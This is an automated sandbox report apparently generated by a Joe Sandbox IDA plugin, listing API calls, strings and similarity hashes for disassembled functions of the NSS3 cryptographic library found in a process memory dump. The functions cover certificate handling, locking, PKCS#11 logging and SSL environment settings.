Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5DE34
PR_Now.NSS3 ref: 6CE5DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE5DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE5DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE5DEF0
PR_smprintf.NSS3(6CF8AAF9,(NULL) (Validity Unknown)), ref: 6CE5DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE5DF33
free.MOZGLUE(00000000), ref: 6CE5DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF4B
free.MOZGLUE(00000000), ref: 6CE5DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5DF8E

Strings

%s%s, xrefs: 6CE5DEEB
{???}, xrefs: 6CE5DE8B
(NULL) (Validity Unknown), xrefs: 6CE5DEFA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction ID: ed6c86bbb2dc2652aebad1e375c3421b20eaaca3ac35f17ab8d9e70fedc908e3
Opcode Fuzzy Hash: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction Fuzzy Hash: 6D51A4B5E001159BDB00DF659D41AAF7BB9EF85358F644028E809E7B00EB32DA15CBF1

Function 6CE92D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE92DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE92E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000,?), ref: 6CE92E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000), ref: 6CE92E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EF8
PR_Unlock.NSS3(?), ref: 6CE92F62
TlsGetValue.KERNEL32 ref: 6CE92F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE92F9E
PR_Unlock.NSS3(?), ref: 6CE92FCA
TlsGetValue.KERNEL32 ref: 6CE9301A
EnterCriticalSection.KERNEL32(?), ref: 6CE9302E
PR_Unlock.NSS3(?), ref: 6CE93066
PR_SetError.NSS3(00000000,00000000), ref: 6CE93085
PR_Unlock.NSS3(?), ref: 6CE930EC
TlsGetValue.KERNEL32 ref: 6CE9310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE93124
PR_Unlock.NSS3(?), ref: 6CE9314C

Part of subcall function 6CE79180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE7918D
Part of subcall function 6CE79180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE791A0

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE9316D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction ID: c832da17c2b31ceac3a9f346950bd90bad5aa4e2631b88b4062de92d641dc23f
Opcode Fuzzy Hash: 1cd09242dc6c2e98d233f245db5d172bf508df7260d3b0edc0ecc41290134464
Instruction Fuzzy Hash: 6AF19CB5D00209AFDF00DF64D888B9EBBB5FF09318F244169EC19A7721E731A995CB91

Function 6CE8AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE8AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AF83

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE8AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE8AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE8AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE8B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE8B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE8B041

Strings

ulParameterLen = 0x%p, xrefs: 6CE8AFD4
hSession = 0x%x, xrefs: 6CE8AF5E, 6CE8AF6E
pParameter = 0x%p, xrefs: 6CE8AFB9
pSignature = 0x%p, xrefs: 6CE8B023
ulDataLen = %d, xrefs: 6CE8B00A
(CK_INVALID_HANDLE), xrefs: 6CE8AF7C
pulSignatureLen = 0x%p, xrefs: 6CE8B03C
pData = 0x%p, xrefs: 6CE8AFEF
C_SignMessage, xrefs: 6CE8AF41

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 332c3d568e60b0231285843130c928d40f0e8dc3985dd8b33bb73fc99ece0950
Instruction ID: 0ca3d08bb98603f1fe7dda7c28fecf25828f3db69c3041e853a4193fe5604107
Opcode Fuzzy Hash: 332c3d568e60b0231285843130c928d40f0e8dc3985dd8b33bb73fc99ece0950
Instruction Fuzzy Hash: 8441E575E12144EFDB508F50DD88F8A3BB2AB4230DF194429F90C6BB51DB328C58CBA9

Function 6CE79FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE79FBE

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE7A015

Part of subcall function 6CE91940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE9195C
Part of subcall function 6CE91940: EnterCriticalSection.KERNEL32(?,?,6CE9563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE91970
Part of subcall function 6CE91940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5), ref: 6CE919A0

PL_FreeArenaPool.NSS3(?), ref: 6CE7A067
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A055

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A07E
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE7A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE7A0CF
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE7A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE7A140
PL_FinishArenaPool.NSS3(?), ref: 6CE7A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7A158
PL_FinishArenaPool.NSS3(?), ref: 6CE7A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE7A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7A1B2
free.MOZGLUE(00000000), ref: 6CE7A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE7A1D6

Part of subcall function 6CE955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE6EAC5,00000001,?,6CE6CE9B,00000001,6CE6EAC5,00000003,-00000004,00000000,?,6CE6EAC5), ref: 6CE95627
Part of subcall function 6CE955E0: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001,?,6CE6CE9B), ref: 6CE9564F
Part of subcall function 6CE955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE95661
Part of subcall function 6CE955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6EAC5), ref: 6CE956AF

Strings

security, xrefs: 6CE7A00F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction ID: bf9af15bb6dbc8785e142e69c5af08b6f41ddaed60512989475740ac5ca91799
Opcode Fuzzy Hash: 1a451619419530a206cc2fd3e518a9cefd535f67b1ed19fec41e9cd0eb46311a
Instruction Fuzzy Hash: 0A51D9B5D402099BEB209BA4DD44BAEB378AF4630CF305528E805BBB41E776D509C7B2

Function 6CE94C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE94C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE94C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE94CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94DB7

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE94DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE94DEC
PR_Unlock.NSS3(?), ref: 6CE94E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CE94E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE94E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE94E71
free.MOZGLUE(00000000), ref: 6CE94E7A
PR_Unlock.NSS3(?), ref: 6CE94EA2
TlsGetValue.KERNEL32 ref: 6CE94EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE94ED6
PR_Unlock.NSS3(?), ref: 6CE94F01
free.MOZGLUE(00000000), ref: 6CE94F2A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction ID: f4dbcb8e979bd875603311a4c724b206ec6a894ba48f413e3b337947e3b85331
Opcode Fuzzy Hash: 415f3e8c7211baabc0bf7ce168e29dbf5273eadef3c5dbdb3eda6413e3ff3ec4
Instruction Fuzzy Hash: 94B1F475E00206DFEB40EF68D884BAA77B4BF0931CF244129EC259BB11E731E965CB91

Function 6CE9FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFB4

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFC6

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFD6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFE6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CE9FFF6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0006
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0016
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0026
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0036
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0046
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0056
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0066
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0076
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0086
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA0096
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00A6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00B6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00C6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00D6
PR_NewLock.NSS3(?,?,6CE976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEA00E6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction ID: 9e7dc4e9e28beff4657f5137107003b5e9808a7e4cc46fc6739fde15878f12a5
Opcode Fuzzy Hash: f46d78bdae7c0581bb74d9019d459cd3ae1943416c3d7de4e51a4558a2915a83
Instruction Fuzzy Hash: 433146F0E25614DE8BC5DF25C4C834ABAF4BB16698754652AD01486F02DB76024ECFDD

Function 6CEE6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEE6BF7), ref: 6CEE6EB6

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF8FC0A,6CEE6BF7), ref: 6CEE6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEE6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEE6EFC
PR_NewLock.NSS3 ref: 6CEE6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEE6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEE6BF7), ref: 6CEE6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEE6BF7), ref: 6CEE6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEE6BF7), ref: 6CEE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEE6BF7), ref: 6CEE6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEE6FF8
SSLFORCELOCKS, xrefs: 6CEE6F2B
SSLKEYLOGFILE, xrefs: 6CEE6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEE6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEE6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEE6FDB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction ID: 6b25edda1c473a68afdf7f2c8fe9c1a6244801aff83dfce73841e2cb16a6568a
Opcode Fuzzy Hash: 52acc7eaf8e30b4950eb13238fe7291f3bee27e86569aced38534114c7483459
Instruction Fuzzy Hash: E4A147B2E65D8287EB905A3CCD4138432B6AB8F3A9F384365E930C6FD6DF7194418245

Function 6CE65DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE65DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE65E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE65E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE65E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE65EC3
